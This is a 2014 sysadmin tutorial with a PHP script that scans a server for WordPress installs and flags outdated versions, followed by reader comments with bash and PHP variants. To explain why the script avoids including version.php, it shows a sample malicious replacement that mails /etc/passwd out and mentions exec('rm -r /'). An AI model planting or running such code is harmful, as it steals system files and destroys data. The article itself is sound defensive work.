How To Find Outdated Wordpress Versions On Your Server To Reduce The Risk Of Being Hacked

Today we want to tell you how to find outdated Wordpress installations on your server. This can be of high risk, especially for shared hosting servers. Being attacked on massively used open source software like Wordpress is only a matter of time, once security exploits get published.

We published a second article like this, that focuses on outdated Joomla installations and uses a bash script. This time we will use a php script for the job.

 

Prerequisites

You will need php-cli installed to use the script.

 

Let us begin

At first we ask the question: how can I recognize the wordpress version from the installed files on the server?

Wordpress stores the version inside a file called version.php. This file resides in the folder wp-includes.

The version string is the variable:
$wp_version = '3.8.1';

Next, we look for the most recent version of wordpress on the official website. At the time of writing this howto this is 3.8.1.

 

Find Wordpress installations on your server

Wordpress includes some folders in it's installation that make it easy to recognize such an installation:
wp-content, wp-admin and wp-includes.

As we now know how to recognize an installation we can construct a function in php that recursively loops through all folders inside a base path and looks for these folder names.

<?php
if(!isset($argv[1])) die("Please start this program with " . $argv[0] . "  []\n");
// set the base path
define('BASE_PATH', $argv[1]);
// check that provided path exists
if(!is_dir(BASE_PATH)) {
	die(BASE_PATH . " is no valid path.\n");
}
function path_loop($path) {
	// make sure path ends with a slash
	if(substr($path, -1) !== '/') $path .= '/';
	
	// open dir
	$dir = opendir($path);
	if(!$dir) {
		print "[WARN] Could not access " . BASE_PATH . "\n";
		return false;
	}
	while($cur = readdir($dir)) {
		// we only want to read paths, not files
		if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue;
		if($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') {
			// this seems to be a wordpress installation path
		}
		path_loop($path . $cur); // we dive into the dir even if we found wp here.
	}
	
	// free resource
	closedir($dir);
}
// start the loop process
path_loop(BASE_PATH);
?>

This script loops and finds the Wordpress folders. Now we want to store those found installations inside an array including it's version.
To get the version, we read the version.php file:

<?php
// strippedscript content
// define array to store the wordpress installation paths
$wp_inst = array();
function path_loop($path) {
	global $wp_inst;
	
	// stripped function content
	
		// inside the loop:
		if($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') {
			// this seems to be a wordpress installation path
			// check for the version file now
			$versionfile = $path . 'wp-includes/version.php';
			if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file
			
			// we don't simply include the file for security reasons.
			// so store it in a variable
			$cont = file_get_contents($versionfile);
			
			// search for the version string
			$found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match);
			if(!$found) continue; // we found no version string in the file... strange.
			
			$wp_inst[$path] = $match[2];
			print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n";
		}
}
// stripped script content
?>

Ok, now why don't we simply make an include $versionfile and read the $wp_version variable?
To run the script you need to have the privileges to access all web folders, often this script will be run as root/sudo.
Imagine what would happen, if some bad guy replaces the wordpress version.php with a custom one that simply contains this:

<?php mail('[email protected]', 'Password file', file_get_contents('/etc/passwd')); ?>

Of course this is just an example. The file could contain even code like exec('rm -r /'); etc. which would be executed as soon as the finder script includes the malicious version.php.
So to keep it simple: Don't include php files, you don't know the content of!

After the extension we made to the script it now finds all Wordpress installations with there versions and stores them inside the $wp_inst array.
We now extend the script to compare the found versions with the latest one. PHP offers a great function for this: version_compare.

<?php
// stripped content
define('LATEST_VERSION', '3.8.1');
// stripped content
// start the loop process
path_loop(BASE_PATH);
// some statistic variables
$current = 0;
$outdated = 0;
// loop through all found versions
foreach($wp_inst as $path => $version) {
	// is the found version lower than latest one?
	if(version_compare($version, LATEST_VERSION, '<')) {
		$outdated++;
		print '[WARN] outdated wordpress version ' . $version;
	} else {
		$current++;
		print '[OK] current wordpress version ' . $version;
	}
	print ' in ' . $path . "\n";
}
// print summary
print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n";
?>

Here we are. The script prints out all found versions together with the information whether it's ok or outdated.

[...]
[WARN] outdated wordpress version 3.3 in /var/www/clients/pathX/
[WARN] outdated wordpress version 3.4 in /var/www/clients/pathY/
[OK] current wordpress version 3.8.1 in /var/www/clients/pathA/
[OK] current wordpress version 3.8.1 in /var/www/clients/pathB/

We found 114 wordpress installations, of which 85 are outdated and 29 are up to date.

 

The final script

For convenience we add a function to the script that writes all found installations to a CSV file.
You can now call the script like this:

php find_wordpress.php /var/www /my/path/versions.csv

After it finished you will find a CSV file in /my/path/versions.csv with content like this:

/var/www/clients/path1/;3.6;3.8.1
/var/www/clients/path2/;3.8.1;3.8.1
/var/www/clients/path3/;3.8.1;3.8.1
/var/www/clients/path4/;3.0.1;3.8.1

Here comes the complete script that you can simply save as find_wordpress.php and call it like mentioned above.

<?php
/**
 * find outdated wordpress versions
 * (c) 2014 howtoforge.com (M. Cramer) <[email protected]>
 */
define('LATEST_VERSION', '3.8.1');
if(!isset($argv[1])) die("Please start this program with " . $argv[0] . " <web pase bath> [<csv file>]\n");
// set the base path
define('BASE_PATH', $argv[1]);
define('OUTFILE', (isset($argv[2]) ? $argv[2] : false));
// check that provided path exists
if(!is_dir(BASE_PATH)) {
	die(BASE_PATH . " is no valid path.\n");
}
// define array to store the wordpress installation paths
$wp_inst = array();
/* main function to loop through paths recursively */
function path_loop($path) {
	global $wp_inst;
	
	// make sure path ends with a slash
	if(substr($path, -1) !== '/') $path .= '/';
	
	// open dir
	$dir = opendir($path);
	if(!$dir) {
		print "[WARN] Could not access " . BASE_PATH . "\n";
		return false;
	}
	// loop through everything this dir contains
	while($cur = readdir($dir)) {
		// we only want to read paths, not files
		if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue;
		
		if(($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') && array_key_exists($path, $wp_inst) == false) {
			// this seems to be a wordpress installation path
			// check for the version file now
			$versionfile = $path . 'wp-includes/version.php';
			if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file
			
			// we don't simply include the file for security reasons.
			// so store it in a variable
			$cont = file_get_contents($versionfile);
			
			// search for the version string
			$found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match);
			if(!$found) continue; // we found no version string in the file... strange.
			
			$wp_inst[$path] = $match[2];
			print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n";
		}
		
		path_loop($path . $cur); // we dive into the dir even if we found wp here.
	}
	
	// free resource
	closedir($dir);
}
// start the loop process
path_loop(BASE_PATH);
// some statistic variables
$current = 0;
$outdated = 0;
if(OUTFILE) $fp = fopen(OUTFILE, 'w');
// loop through all found versions
foreach($wp_inst as $path => $version) {
	// is the found version lower than latest one?
	if(version_compare($version, LATEST_VERSION, '<')) {
		$outdated++;
		print '[WARN] outdated wordpress version ' . $version;
	} else {
		$current++;
		print '[OK] current wordpress version ' . $version;
	}
	print ' in ' . $path . "\n";
	
	if(OUTFILE) fputcsv($fp, array($path, $version, LATEST_VERSION), ';', '"');
}
if(OUTFILE) fclose($fp);
// print summary
print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n";

?>

We wish you "happy outdated-version-hunting"!

Share this page:

6 Comment(s)

Add comment

Comments

From: Kenneth Ivarsson at: 2014-02-08 09:04:15


To do this without php, 

 

 find / |grep "wp-includes/version.php"  >wplist1
 for f in $(cat wplist1); do echo -n $f ;grep "wp_version =" $f;done

From: at: 2014-02-09 19:29:27

Nice script, but how to expand it to look for obsolete versions ?

 

From: Helmo at: 2014-02-13 14:47:25

Even before reading these comments I thought it would be less code in bash...


find / | grep "wp-includes/version.php" > wplist1

for f in $(cat /tmp/wplist1); do echo -n $f ;ver=$(grep "wp_version =" $f | cut -d\' -f2); echo -n " $ver"; if [[ "$ver" < "3.8.1" ]]; then echo " OLD"; fi; echo ''; done

 

And wrapped over more lines for readability:

find / | grep "wp-includes/version.php" > wplist1

for f in $(cat /tmp/wplist1); do

  echo -n $f ;

  ver=$(grep "wp_version =" $f | cut -d\' -f2);

  echo -n " $ver";

  if [[ "$ver" < "3.8.1" ]]; then

    echo " OLD";

  fi;

  echo '';

done


From: Acceos at: 2014-03-21 06:33:03

Nice script. Just taking it one step further, so it automatically detects the current latest stable version. Less maintenance so you can set it up as a cronjob and mail you the results, and basically forget about editing the script.

 

LATEST_WORDPRESS=`curl -s http://api.wordpress.org/core/version-check/1.5/ | head -n 4 | tail -n 1`

 

find / | grep "wp-includes/version.php" > wplist1

for f in $(cat /tmp/wplist1); do

  echo -n $f ;

  ver=$(grep "wp_version =" $f | cut -d\' -f2);

  echo -n " $ver";

  if [[ "$ver" < "$LATEST_WORDPRESS" ]]; then

    echo " OLD";

  fi;

  echo '';

done

From: at: 2014-04-03 10:44:31

Sorry, but this does not work!

E. g. if [[ "3.8.1" < "3.10.0" ]]  would NOT be true.

Bash can only do string comparison and the string 3.10 is lower than the string 3.8!

So be cautious when using string for comparing numbers that are not of type int.

From: Steve Scotter at: 2015-04-22 08:58:04

Thanks Croydon for a great script.

I've taken it a bit further and updated the script to automatically detect latest WordPress version by sending a HTTP HEAD request to http://wordpress.org/latest and parsing the Content-Disposition: attachment; filename=wordpress-A.B.C.tar.gz result as suggested at https://wordpress.org/support/topic/programmatically-check-latest-wp-release / http://www.stephen-scotter.net/computers/web-development/wordpress/how-to-check-wordpress-versions-on-your-server-are-up-to-date

Cheers

<?php /** * find outdated wordpress versions * (c) 2014 howtoforge.com (M. Cramer) <[email protected]> * Appended by Steve Scotter www.stephen-scotter.net */ if(!isset($argv[1])) die("Please start this program with " . $argv[0] . " <web pase bath> [<csv file>]\n"); // set the base path define('BASE_PATH', $argv[1]); define('OUTFILE', (isset($argv[2]) ? $argv[2] : false)); // check that provided path exists if(!is_dir(BASE_PATH)) { die(BASE_PATH . " is no valid path.\n"); } // define array to store the wordpress installation paths $wp_inst = array(); /**/ function detech_latest_wordpress_version() { $pattern = "/Content-Disposition: attachment; filename=wordpress-(.*).tar.gz/"; $context = stream_context_create(array('http' =>array('method'=>'HEAD'))); $fd = fopen('http://wordpress.org/latest', 'rb', false, $context); $data = stream_get_meta_data($fd); fclose($fd); $WP_VERSION = ''; foreach ($data['wrapper_data'] as $key => $value) { if (preg_match($pattern, $value, $matches) == 1) { if (count($matches) == 2) { $WP_VERSION = $matches[1]; } } } return $WP_VERSION; } /* main function to loop through paths recursively */ function path_loop($path) { global $wp_inst; // make sure path ends with a slash if(substr($path, -1) !== '/') $path .= '/'; // open dir $dir = opendir($path); if(!$dir) { print "[WARN] Could not access " . BASE_PATH . "\n"; return false; } // loop through everything this dir contains while($cur = readdir($dir)) { // we only want to read paths, not files if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue; if(($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') && array_key_exists($path, $wp_inst) == false) { // this seems to be a wordpress installation path // check for the version file now $versionfile = $path . 'wp-includes/version.php'; if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file // we don't simply include the file for security reasons. // so store it in a variable $cont = file_get_contents($versionfile); // search for the version string $found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match); if(!$found) continue; // we found no version string in the file... strange. $wp_inst[$path] = $match[2]; print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n"; } path_loop($path . $cur); // we dive into the dir even if we found wp here. } // free resource closedir($dir); } define('LATEST_VERSION', detech_latest_wordpress_version()); if (empty(LATEST_VERSION)) { die("Unable to detect latest version of WordPress available"); } else { print "[INFO] Latest version of wordpress detected as " . LATEST_VERSION . "\n"; } // start the loop process path_loop(BASE_PATH); // some statistic variables $current = 0; $outdated = 0; if(OUTFILE) $fp = fopen(OUTFILE, 'w'); // loop through all found versions foreach($wp_inst as $path => $version) { // is the found version lower than latest one? if(version_compare($version, LATEST_VERSION, '<')) { $outdated++; print '[WARN] outdated wordpress version ' . $version; } else { $current++; print '[OK] current wordpress version ' . $version; } print ' in ' . $path . "\n"; if(OUTFILE) fputcsv($fp, array($path, $version, LATEST_VERSION), ';', '"'); } if(OUTFILE) fclose($fp); // print summary print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n"; ?>